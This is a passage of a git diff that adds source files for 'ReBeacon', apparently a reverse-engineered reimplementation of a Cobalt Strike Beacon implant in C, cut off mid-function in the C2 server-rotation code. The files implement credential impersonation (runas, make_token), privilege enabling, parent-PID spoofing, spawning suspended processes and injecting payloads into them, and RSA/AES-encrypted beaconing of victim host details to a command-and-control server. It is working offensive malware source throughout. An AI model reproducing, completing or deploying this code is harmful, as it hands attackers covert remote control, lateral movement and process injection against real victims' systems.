lpDomain, + char* lpPassword, + char* lpUsername, + char* lpCommandLine, + int dwCreationFlags, + LPPROCESS_INFORMATION lpProcessInformation) +{ + memset(lpProcessInformation, 0, sizeof(PROCESS_INFORMATION)); + + datap* pdatap = BeaconDataInit(0xA000u); + WCHAR* CommandLine = (WCHAR*)BeaconDataPtr(pdatap, 0x4000); + WCHAR* Domain = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Username = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Password = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Buffer = (WCHAR*)BeaconDataPtr(pdatap, 1024); + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.lpDesktop = 0; + + toWideChar(lpCommandLine, CommandLine, 0x4000u); + toWideChar(lpPassword, Username, 0x400u); + toWideChar(lpUsername, Password, 0x400u); + toWideChar(lpDomain, Domain, 0x400u); + WCHAR* lpCurrentDirectory = 0; + if (GetCurrentDirectoryW(0, 0) >= 0x400) + { + lpCurrentDirectory = 0; + } + else + { + GetCurrentDirectoryW(0x400u, Buffer); + lpCurrentDirectory = Buffer; + } + if (CreateProcessWithLogonW( + Username, + Domain, + Password, + 1, + 0, + CommandLine, + dwCreationFlags | 0x8000400, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)&StartupInfo, + lpProcessInformation)) + { + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + return 1; + } + else + { + BeaconErrorFormat(0x35, (char*)"%s as %s\\%s: %d", lpCommandLine, lpDomain, lpPassword, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + return 0; +} + +void beacon_RunAs(char* Taskdata, int Task_size) +{ + PROCESS_INFORMATION ProcessInformation; + datap* pdatap = BeaconDataInit(0x4C00); + char* lpCommandLine = BeaconDataPtr(pdatap, 0x4000); + char* lpDomain = BeaconDataPtr(pdatap, 1024); + char* lpPassword = BeaconDataPtr(pdatap, 1024); + char* lpUsername = BeaconDataPtr(pdatap, 1024); + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskdatap, lpDomain, 1024) + && BeaconDataCopyToBuffer(&taskdatap, lpPassword, 1024) + && BeaconDataCopyToBuffer(&taskdatap, lpUsername, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpCommandLine, 0x4000)) + { + close_token_fake(); + BeaconRunAsProcess(lpDomain, lpPassword, lpUsername, lpCommandLine, 0, &ProcessInformation); + restore_token_fake(); + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + BeaconcloseAllHandle(&ProcessInformation); + return; + } + } + BeaconDataFree(pdatap); + return; +} + + +void beacon_pwd() +{ + DWORD size; + CHAR PathBuffer[2048]; + + memset(PathBuffer, 0, sizeof(PathBuffer)); + size = GetCurrentDirectoryA(0x800, PathBuffer); + if (size) + { + BeaconTaskOutput(PathBuffer, size, 0x13); + } +} + + +/// +/// һ˯N +/// +/// +/// +/// +void BeaconSleepN(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int time = BeaconDataInt(&pdatap); + Sleep(time); +} + +void Beacon_end() +{ + g_dwMilliseconds = 0; // ޸dw0ȴѭ + BeaconTaskOutput(0, 0, CALLBACK_DEAD); //Ϣ֪˳ +} + +void create_token(char* lpszDomain, char* lpszUsername, char* lpszPassword) +{ + + BeaconRevertToken(); + if (LogonUserA(lpszUsername, lpszDomain, lpszPassword, 9, 3, &pTokenHandle)) + { + if (ImpersonateLoggedOnUser(pTokenHandle)) + { + BeaconMaketoken = BeaconDataInit(0x800u); + lpDomain = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 512); + lpWideCharStr = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 512); + lpPassword = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 1024); + toWideChar(lpszUsername, (LPWSTR)lpWideCharStr, 0x100u); + toWideChar(lpszDomain, (LPWSTR)lpDomain, 0x100u); + toWideChar(lpszPassword, (LPWSTR)lpPassword, 0x200u); + Create_token_Flag = 1; + if (get_user_sid(0x400u, pTokenHandle, lpszUsername)) + { + BeaconTaskOutput(lpszUsername, strlen(lpszUsername), 0xFu); + } + } + else + { + BeaconErrorD(0x19u, GetLastError()); + } + } + else + { + BeaconErrorD(0x18u, GetLastError()); + } +} + +void beacon_make_token(char* Taskdata, int Task_size) +{ + datap* pdatap = BeaconDataInit(0xC00); + char* lpszDomain = BeaconDataPtr(pdatap, 1024); + char* lpszUsername = BeaconDataPtr(pdatap, 1024); + char* lpszPassword = BeaconDataPtr(pdatap, 1024); + datap taskpdatap; + BeaconDataParse(&taskpdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskpdatap,lpszDomain, 1024) && BeaconDataCopyToBuffer(&taskpdatap,lpszUsername, 1024)) + { + if (BeaconDataCopyToBuffer(&taskpdatap,lpszPassword, 1024)) + { + create_token(lpszDomain, lpszUsername, lpszPassword); + } + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + + +int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize) +{ + + + if (get_short(43) == get_short(44)) + { + return 1; + } + int userwx = get_short(44); + DWORD flOldProtect; + if (VirtualProtect(lpAddress, dwSize, userwx, &flOldProtect)) + { + return 1; + } + BeaconErrorD(0x11, GetLastError()); + return 0; +} + +void __cdecl beacon_SetEnv(const char* EnvString) +{ + _putenv(EnvString); +} + +//************************************ +// Method: VerifyPPID +// FullName: VerifyPPID +// Access: public +// Returns: BOOL +// Qualifier:֤õppidĽǷͬһỰ +//************************************ +BOOL VerifyPPID() +{ + DWORD pSessionId; + if (!ProcessIdToSessionId(gBeaconPPID, &pSessionId)) + { + return 1; + } + DWORD pSessionId2; + if (!ProcessIdToSessionId(GetCurrentProcessId(), &pSessionId2)) + { + return 1; + } + return pSessionId2 == pSessionId; +} + +void beacon_PPID(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + gBeaconPPID = BeaconDataInt(&pdatap); + if (gBeaconPPID) + { + if (!VerifyPPID()) + { + BeaconErrorD(0xFu, gBeaconPPID); + } + } +} + + +void BeaconEnablePrivilege(char* buffer, int buffersize, HANDLE TokenHandle, formatp* pformatp) +{ + char Name[68]; + _TOKEN_PRIVILEGES token = { 0 }; + + datap pdatap; + BeaconDataParse(&pdatap, buffer, buffersize); + + int index = BeaconDataShort(&pdatap); + if (index) + { + do + { + BeaconDataCopyToBuffer(&pdatap,Name, 64); + memset(&token, 0, sizeof(_TOKEN_PRIVILEGES)); + if (LookupPrivilegeValueA(0, Name, &token.Privileges[0].Luid)) + { + token.PrivilegeCount = 1; + token.Privileges[0].Attributes = 2; + if (AdjustTokenPrivileges(TokenHandle, 0, &token, 0, 0, 0)) + { + if (!GetLastError()) + { + BeaconFormatPrintf(pformatp, (char*)"%s\n", Name); + } + } + } + --index; + } while (index); + } +} + +void beacon_GetPrivs(char* Taskdata, int Task_size) +{ + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000); + if (pTokenHandle) + { + close_token_fake(); + BeaconEnablePrivilege(Taskdata, Task_size, pTokenHandle, &pformatp); + restore_token_fake(); + } + else + { + HANDLE TokenHandle; + if (OpenProcessToken(GetCurrentProcess(), 0x28u, &TokenHandle)) + { + BeaconEnablePrivilege(Taskdata, Task_size, TokenHandle, &pformatp); + CloseHandle(TokenHandle); + } + else + { + BeaconErrorNA(59u); + } + } + int length = BeaconFormatlength(&pformatp); + if (length) + { + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0); + } + BeaconFormatFree(&pformatp); +} + +void beacon_BlockDLLs(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + gBeaconBlockDLL = BeaconDataInt(&pdatap) != 0; +} + + +int BeaconSpawnRunAsProcess(int x86,char* lpDomain,char* lpPassword,char* lpUsername,LPPROCESS_INFORMATION lpProcessInformation) +{ + CHAR lpCommandLine[260]; + + getspawntopath(lpCommandLine, x86); + return BeaconRunAsProcess(lpDomain, lpPassword, lpUsername, lpCommandLine, 4, lpProcessInformation); +} + +void BeaconSpawnas(char* Taskdata, int Task_size, int x86) +{ + + _PROCESS_INFORMATION pi; + + datap* pdatap = BeaconDataInit(0xC00u); + char* lpDomain = BeaconDataPtr(pdatap, 1024); + char* lpPassword = BeaconDataPtr(pdatap, 1024); + char* lpUsername = BeaconDataPtr(pdatap, 1024); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskdatap, lpDomain, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpPassword, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpUsername, 1024)) + { + if (BeaconSpawnRunAsProcess(x86, lpDomain, lpPassword, lpUsername, &pi)) + { + Sleep(0x64u); + int length = BeaconDataLength(&taskdatap); + char* buffer = BeaconDataBuffer(&taskdatap); + ProcessInject( + pi.dwProcessId, + &pi, + pi.hProcess, + buffer, + length, + 0, + 0, + 0); + } + BeaconDataClearFree(pdatap); + BeaconcloseAllHandle(&pi); + } + } + } +} + + +//************************************ +// Method: BeaconCreateProcess_suspend +// FullName: BeaconCreateProcess_suspend +// Access: public +// Returns: int +// Qualifier:CREATE_SUSPENDED־ +// Parameter: int x86 +// Parameter: STARTUPINFOA * StartupInfo +// Parameter: PROCESS_INFORMATION * pi +// Parameter: int ppid +//************************************ +int BeaconCreateProcess_suspend(int x86, STARTUPINFOA* StartupInfo, PROCESS_INFORMATION* pi, int ppid) +{ + char lpCommandLine[256]; + + getspawntopath(lpCommandLine, x86); + return BeaconCreateProcess(lpCommandLine, strlen(lpCommandLine), StartupInfo, pi, CREATE_SUSPENDED, 1, ppid); +} + +void BeaconSpawnu(char* Taskdata, int Task_size, int x86) +{ + STARTUPINFOA StartupInfo = {0}; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.dwFlags = 257; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + + PROCESS_INFORMATION pi = {0}; + + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int ppid = BeaconDataInt(&pdatap); + + if (BeaconCreateProcess_suspend(x86, &StartupInfo, &pi, ppid)) + { + Sleep(0x64u); + int length = BeaconDataLength(&pdatap); + char* buffer = BeaconDataBuffer(&pdatap); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, buffer, length, 0, 0, 0); + BeaconcloseAllHandle(&pi); + } +} + +void sub_1000715A() +{ + + sub_10006D81(); + DWORD time = GetTickCount() + 3500; + while (sub_1000707E() > 0 && GetTickCount() < time) + { + ; + } + sub_10006FF5(); +} + +void close_http_Handle() +{ + close_token_fake(); + InternetCloseHandle(g_hConnect); + InternetCloseHandle(g_hInternet); + restore_token_fake(); +} \ No newline at end of file diff --git a/ReBeacon_Src/common.h b/ReBeacon_Src/common.h new file mode 100644 index 0000000..000b6f9 --- /dev/null +++ b/ReBeacon_Src/common.h @@ -0,0 +1,150 @@ +#pragma once +#include "Utils.h" +#include "Global.h" +#include +#include + + +/// +/// ȫbeaconTokenHandle +/// +extern HANDLE pTokenHandle; + +/// +/// win http flags +/// +extern DWORD g_dwFlags; + +/// +/// +/// +extern HINTERNET g_hInternet; + +/// +/// +/// +extern HINTERNET g_hConnect; + +/// +/// +/// +extern DWORD_PTR g_dwContext; + +/*жϵͳܹ*/ +int Is_Wow64(HANDLE hProcess); +/*жǷǹԱȨ*/ +BOOL is_admin(); + + +void get_pc_info(beaconmetadata* pmetadata); +void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent); + + +void restore_token_fake(); + +/// +/// رtokenα +/// +void close_token_fake(); + +/// +/// beaconһЩhttpѡ +/// +void set_http_opt(HINTERNET hInternet); + +void init_socket_options(); + +/// +/// жhttp󷵻Ƿɹ +/// +/// +/// +BOOL verify_http_200(HINTERNET hRequest); + + +int isPPIDAndBlockDLL(int PPID); + +BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max); + +int is_process_arch(HANDLE hProcess); + +_PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount); + +void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess); + +void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess); + +void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi); + + + +BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter); + +BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter); + +BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter); + +int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter); + +int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter); + +BOOL sub_10004FA1(int Remote,HANDLE hProcess,PVOID BaseAddress,LPVOID lpParameter,LPCSTR lpModuleName,LPCSTR lpProcName,int offset); + +BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter); + +void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size); + +void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer); + +void check_close_token_fake(int ignoreToken); +void check_restore_token_fake(int ignoreToken); + +void beacon_GetUID(); + +extern datap* BeaconMaketoken; +void BeaconRevertToken(); + +void beacon_steal_token(char* Taskdata, int Task_size); + +void beacon_ps(char* Taskdata, int Task_size); + +void beacon_Kill(char* Taskdata, int Task_size); +int BeaconRunAsProcess( + char* lpDomain, + char* lpPassword, + char* lpUsername, + char* lpCommandLine, + int dwCreationFlags, + LPPROCESS_INFORMATION lpProcessInformation); + +void beacon_RunAs(char* Taskdata, int Task_size); + +void beacon_pwd(); + +void BeaconSleepN(char* Taskdata, int Task_size); + +void beacon_make_token(char* Taskdata, int Task_size); + +int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer); + +int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize); + +void __cdecl beacon_SetEnv(const char* EnvString); + +void beacon_PPID(char* Taskdata, int Task_size); + +void beacon_GetPrivs(char* Taskdata, int Task_size); + +void beacon_BlockDLLs(char* Taskdata, int Task_size); + +void BeaconSpawnas(char* Taskdata, int Task_size, int x86); + +void BeaconSpawnu(char* Taskdata, int Task_size, int x86); + +void sub_1000715A(); + +void Beacon_end(); + +void close_http_Handle(); + +BOOL X86orX64(); \ No newline at end of file diff --git a/ReBeacon_Src/encrypt_decrypt.cpp b/ReBeacon_Src/encrypt_decrypt.cpp new file mode 100644 index 0000000..98b8686 --- /dev/null +++ b/ReBeacon_Src/encrypt_decrypt.cpp @@ -0,0 +1,389 @@ +#include "encrypt_decrypt.h" +#include "tomcrypt_argchk.h" +#include +#include "common.h" +#include "BeaconX64.h" +#include "comm.h" +int sha256_idx; +int aes_idx; + + +int aes_key_hash_ago_16[4]; +int aes_key_hash_up_16[4]; +char initialization_vector[16]; + +symmetric_key beacon_symmetric_key; +symmetric_CBC beacon_symmetric_CBC; + +/*beacon id*/ +DWORD beacon_id; +WORD CryptoScheme; + +int old_Timestamp; + +DWORD rng_win32(BYTE* pbBuffer, DWORD dwLen) +{ + DWORD result = NULL; + HCRYPTPROV phProv; + phProv = 0; + if (!CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000020) + && (result = CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000028)) == 0) + { + return result; + } + if (!CryptGenRandom(phProv, dwLen, pbBuffer)) + { + result = 0; + } + CryptReleaseContext(phProv, 0); + return result; +} + +int my_rng_win32(BYTE* pbBuffer, DWORD dwLen) +{ + char v2; // bl + int v3; + bool i; // zf + int v5; + BYTE* v6; + int v9; + + int v10; + + clock_t v11; + clock_t v12; + v2 = 0; + v3 = dwLen; + v9 = 0; + v10 = 0; + for (i = dwLen == 0; ; i = v3 == 0) + { + v5 = 8; + if (i) + { + break; + } + --v3; + do + { + --v5; + do + { + v11 = clock(); + while (v11 == clock()) + { + v10 ^= 1u; + } + v12 = clock(); + while (v12 == clock()) + { + v9 ^= 1u; + } + } while (v10 == v9); + v2 = v10 | (2 * v2); + } while (v5); + v6 = pbBuffer++; + *v6 = v2; + v2 = 0; + } + return dwLen; +} + +int random_bytesarray(BYTE* pbBuffer, DWORD dwLen) +{ + int result; + + result = rng_win32(pbBuffer, dwLen); + if (!result) + { + result = my_rng_win32(pbBuffer, dwLen); + } + return result; +} + +int random_int() +{ + BYTE pbBuffer[4]; + random_bytesarray(pbBuffer, 4); + return *(DWORD*)pbBuffer; +} + +int gen_beacon_id() +{ + return random_int() & 0x7FFFFFFE; +} + +void init_beacon_aes_key(char* beacon_key) +{ + int out_hash[8]; + unsigned long a5 = 32; + register_hash(&sha256_desc); + sha256_idx = find_hash("sha256"); + if (hash_memory(sha256_idx, (const unsigned char*)beacon_key, 16, (unsigned char*)out_hash, &a5))// hash_memory + exit(1); + aes_key_hash_ago_16[0] = out_hash[0]; + aes_key_hash_ago_16[1] = out_hash[1]; + aes_key_hash_ago_16[2] = out_hash[2]; + aes_key_hash_ago_16[3] = out_hash[3]; + aes_key_hash_up_16[0] = out_hash[4]; + aes_key_hash_up_16[1] = out_hash[5]; + aes_key_hash_up_16[2] = out_hash[6]; + aes_key_hash_up_16[3] = out_hash[7]; + memcpy(initialization_vector, "abcdefghijklmnop", sizeof(initialization_vector)); + register_cipher(&aes_desc); + aes_idx = find_cipher("aes"); + if (rijndael_setup((const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_key)) + exit(1); +} + +//ǵöLTM_DESC +//#define LTM_DESC + +/// +/// rsa +/// +/// +/// +/// +/// +/// +/// +int rsa_encrypt(char* Rsa_Public_key, IN void* data, IN size_t data_size, OUT char* outdata, int* outdatasize) +{ + int prng_idx; + int result; + rsa_key pkey; + + CryptoScheme = get_short(31); + register_prng(&sprng_desc); + prng_idx = find_prng("sprng"); + + //Ҫltc_mpֵrsa_import޷ʹ + ltc_mp = ltm_desc; + + + //rsa_import((const unsigned char*)a1, 162, &v8); + //result = rsa_encrypt_key_ex((const unsigned char*)Src, Size, (unsigned char*)a4, + // (unsigned long*)a5, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &v8); + +//libtomcrypt汾жʹLTC_LTC_PKCS_1_V1_5LTC_PKCS_1_V1_5 +#ifdef libtomcrypt117 + if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) || + (result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata, + (unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &pkey)) != 0) + { + exit(1); + } +#else + if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) || + (result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata, + (unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_PKCS_1_V1_5, &pkey)) != 0) + { + exit(1); + } +#endif + + return result; +} + +/// +/// Ԫݲ +/// +/// ˲ʱbuffer +/// ʱbufferĴС +void Generate_encryption_metadata(char* Metadata, int size) +{ + UINT codepage = GetACP(); // õǰϵͳĴҳ + UINT oem = GetOEMCP(); + int machine = 0; + BYTE beacon_key[16]; + random_bytesarray(beacon_key, 0x10); // 16ֽ aesԿй + init_beacon_aes_key((char*)beacon_key); // ʼ has256aes aes key + srand(GetTickCount() ^ GetCurrentProcessId()); + beacon_id = gen_beacon_id(); // һ4ֽڳ䵱beacon id + + if (X86orX64()) + { + machine = 2; + } + else + { + if (!Is_Wow64(GetCurrentProcess())) + { + if (is_admin()) + { + machine |= 8; + } + } + else + { + machine |= 4; + if (is_admin()) + { + machine |= 8; + } + } + } + + beaconmetadata pbeaconmetadata; + BeaconMetadataInit(&pbeaconmetadata, Metadata, size); + BeaconMetadataPush_N(16, &pbeaconmetadata, beacon_key); + BeaconMetadataPush_N(2, &pbeaconmetadata, &codepage); + BeaconMetadataPush_N(2, &pbeaconmetadata, &oem); + BeaconMetadataPush_4(beacon_id, &pbeaconmetadata); + DWORD pid = GetCurrentProcessId(); + BeaconMetadataPush_4(pid, &pbeaconmetadata); + BeaconMetadataPush_2(0, &pbeaconmetadata); + BeaconMetadataPush_1(machine ,&pbeaconmetadata); + get_pc_info(&pbeaconmetadata); // û + int MetadataLength = BeaconMetadataLength(&pbeaconmetadata); + memset(g_Encryption_Metadata, 0, sizeof(g_Encryption_Metadata)); + g_Encryption_Metadata_size = 128; + memcpy(g_Encryption_Metadata, Metadata, MetadataLength);// copy׼ + char* rsa_publickey = get_str(7); // ȡRSAԿ + rsa_encrypt(rsa_publickey, Metadata, MetadataLength, g_Encryption_Metadata, &g_Encryption_Metadata_size);// rsa + memset(Metadata, 0, MetadataLength); +} + +/// +/// aes http󷵻 +/// +/// +/// +/// +size_t decrypt_output_data(char* encrypt_data_buffer, int data_size) +{ + if (data_size <= 16 && data_size % 16) + { + return 0; + } + int decrypt_buffer_size = data_size - 16; + char* decrypt_buffer = (char*)malloc(decrypt_buffer_size); + memset(decrypt_buffer, 0, decrypt_buffer_size); + if (!decrypt_buffer) + { + return 0; + } + char hmac_memory_out_buf[16]; + unsigned long hmac_memory_out_size = 16; + + + //֤ + if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16 ,16, (const unsigned char*)encrypt_data_buffer, decrypt_buffer_size, (unsigned char*)hmac_memory_out_buf, &hmac_memory_out_size))// + { + + exit(1); + } + + if (memcmp(&encrypt_data_buffer[decrypt_buffer_size], hmac_memory_out_buf, hmac_memory_out_size)) + { + free(decrypt_buffer); + return 0; + } + + if (CryptoScheme) + { + if (CryptoScheme != 1) + { + exit(1); + } + memcpy(decrypt_buffer,encrypt_data_buffer, decrypt_buffer_size); + } + + //aes cbc + else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_CBC) + || cbc_decrypt((const unsigned char*)encrypt_data_buffer, (unsigned char*)decrypt_buffer, decrypt_buffer_size, &beacon_symmetric_CBC) + || cbc_done(&beacon_symmetric_CBC)) + { + exit(1); + } + + datap pdata; + BeaconDataParse(&pdata, (char*)decrypt_buffer, decrypt_buffer_size); + int Timestamp = BeaconDataInt(&pdata);// ʱ + if (Timestamp + 3600 <= old_Timestamp) + { + free(encrypt_data_buffer); + u_long time = htonl(old_Timestamp - Timestamp - 3600); + BeaconTaskOutput((char*)&time, 4u, 022u); + return 0; + } + + int data_length = BeaconDataInt(&pdata); // ݳ + + if (!data_length || data_length > decrypt_buffer_size) + { + exit(0); + } + char* dataptr = BeaconDataPtr(&pdata, data_length); + if (!dataptr) + { + exit(0); + } + memcpy(encrypt_data_buffer, dataptr, data_length); + old_Timestamp = Timestamp; + BeaconDataClear(&pdata); + free(decrypt_buffer); + return data_length; +} + +symmetric_CBC gBeaconCBC; +int aes_cbc_encrypt(int size, char* in) +{ + int v2; + int a4; + + v2 = size; + a4 = 16; + for (int i = size % 16; i; ++v2) + { + if (i >= 16) + break; + ++i; + } + if (CryptoScheme) + { + if (CryptoScheme != 1) { + exit(1); + } + } + + else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, (symmetric_CBC*)&gBeaconCBC) + || cbc_encrypt((const unsigned char*)in, (unsigned char*)in, v2, &gBeaconCBC) + || cbc_done((symmetric_CBC*)&gBeaconCBC)) + { + exit(1); + } + if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16, 16, (const unsigned char*)in, v2, (unsigned char*)(&in[v2]), (unsigned long*)&a4)) { + exit(1); + } + + return v2 + 16; +} + + + +char* aes_encrypt_data(void* data, size_t data_size, int msg_id, int* out_encrypt_data_len) +{ + beaconmetadata pbeaconmetadata; + char* buff = (char*)malloc(data_size + 48); + if (!buff) + { + *out_encrypt_data_len = 0; + return 0; + } + memset(buff, 0, data_size + 48); + + BeaconMetadataInit(&pbeaconmetadata, buff, data_size + 48); + BeaconMetadataPush_4(msg_id, &pbeaconmetadata); + BeaconMetadataPush_N(data_size, &pbeaconmetadata, data); + int DataLength = BeaconMetadataDataLength(&pbeaconmetadata) + 4; + if (DataLength <= 0) + { + free(buff); + *out_encrypt_data_len = 0; + return 0; + } + *out_encrypt_data_len = aes_cbc_encrypt(DataLength, buff);// aesܺHmacժҪ س + return buff; +} diff --git a/ReBeacon_Src/encrypt_decrypt.h b/ReBeacon_Src/encrypt_decrypt.h new file mode 100644 index 0000000..d006907 --- /dev/null +++ b/ReBeacon_Src/encrypt_decrypt.h @@ -0,0 +1,47 @@ +#pragma once +#include "tomcrypt.h" +#include + + +extern int sha256_idx; +extern int aes_idx; + + +extern int aes_key_hash_ago_16[4]; +extern int aes_key_hash_up_16[4]; +extern char initialization_vector[16]; + +extern symmetric_key beacon_symmetric_key; +extern symmetric_CBC beacon_symmetric_CBC; + +/*beacon id*/ +extern DWORD beacon_id; +extern WORD CryptoScheme; + +/// +/// Ԫݲ +/// +/// ˲ʱbuffer +/// ʱbufferĴС +void Generate_encryption_metadata(char* Metadata, int size); + +/// +/// int +/// +/// +int random_int(); + + +/// +/// aes http󷵻 +/// +/// +/// +/// +size_t decrypt_output_data(char* encrypt_data_buffer, int data_size); + +int aes_cbc_encrypt(int size, char* in); + +char* aes_encrypt_data(void* data, size_t data_Size, int msg_id, int* out_encrypt_data_len); + +int random_bytesarray(BYTE* pbBuffer, DWORD dwLen); \ No newline at end of file diff --git a/ReBeacon_Src/macro.h b/ReBeacon_Src/macro.h new file mode 100644 index 0000000..42e3ee0 --- /dev/null +++ b/ReBeacon_Src/macro.h @@ -0,0 +1,8 @@ +#pragma once +#ifdef _WIN64 +#define CsC2Config_size 0x800 +#define index_size 16 +#else +#define CsC2Config_size 0x400 +#define index_size 8 +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/rotation.cpp b/ReBeacon_Src/rotation.cpp new file mode 100644 index 0000000..a347878 --- /dev/null +++ b/ReBeacon_Src/rotation.cpp @@ -0,0 +1,291 @@ +#include "rotation.h" +#include +/// +/// ʼѯṹ +/// +/// +/// +/// +/// +/// +void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_number) +{ + rotation_opt->strategyID = strategyID; + rotation_opt->rotate_Strategy_time = rotate_Strategy_time; + rotation_opt->failover_Strategy_time = failover_Strategy_time; + rotation_opt->failover_Strategy_number = failover_Strategy_number; +} + +/// +/// ģʽip洢 +/// +char* ServerIP_Buff_random=NULL; + +/// +/// ģʽip +/// +int g_ip_number_random=0; + +/// +/// ģʽµǰip +/// +int g_current_ip_index_random=0; + +/// +/// ģʽipָ +/// +char* g_ip_array_random[200]; + +int random_int(int seed) +{ + return rand() % (seed + 1); +} +int random_ipid(int ip_id) +{ + return ip_id - ip_id % 2; +} + +/// +/// ѡip +/// +/// +/// +char* random_selection(char* ServerIP) +{ + int current_ip_id = 0; + int ip_id = 0 ; + + if (ServerIP_Buff_random) + { + current_ip_id = g_current_ip_index_random; + } + else + { + ServerIP_Buff_random = (char*)malloc(strlen(ServerIP) + 1); + strncpy(ServerIP_Buff_random, ServerIP, strlen(ServerIP) + 1); + g_ip_number_random = 0; + for (char* ip = strtok(ServerIP_Buff_random, ","); ip; ip = strtok(0, ",")) + { + int ip_id = g_ip_number_random++; + g_ip_array_random[ip_id] = ip; + } + current_ip_id = -1; + g_current_ip_index_random = -1; + } + if (current_ip_id < 0 || current_ip_id >= g_ip_number_random) + { + ip_id = random_int(g_ip_number_random - 1); + ip_id = random_ipid(ip_id); + g_current_ip_index_random = ip_id; + } + else + { + ip_id = current_ip_id + 1; + g_current_ip_index_random =- 1; + } + return g_ip_array_random[ip_id]; +} + +/// +/// ѯģʽip +/// +char* ServerIP_Buff_carousel; + +/// +/// ѯ лݴлָ +/// +int g_failover_Strategy_number; + +/// +/// ѯ лʱлļʱ +/// +int g_failover_Strategy_time; +/// +/// ѯģʽip +/// +int g_ip_number_carousel; + +/// +/// ѯģʽip,еipָ +/// +char* g_ip_array_carousel[200]; + +/// +/// ѯģʽµǰʹõip,ͨidȡipָ +/// +int g_ip_index_carousel; + +/// +/// +/// +__int64 g_time; + +/// +/// ѯ ʱл ʱ +/// +int g_rotate_Strategy_time; + +/// +/// ݴʱѯ +/// +__int64 g_failover_time; + +/// +/// +/// +int g_failover_number; + +int dword_10037E80; +char* carousel(rotationstruc* rotation_opt, char* ServerIP, int number) +{ + char* ipsrc; + int ip_id; + signed int failover_Strategy_number; + signed int failover_Strategy_time; + char* result; + __time64_t current_time; + int v10; + + v10 = 0; + current_time = _time64(0); + if (ServerIP_Buff_carousel) + { + failover_Strategy_number = 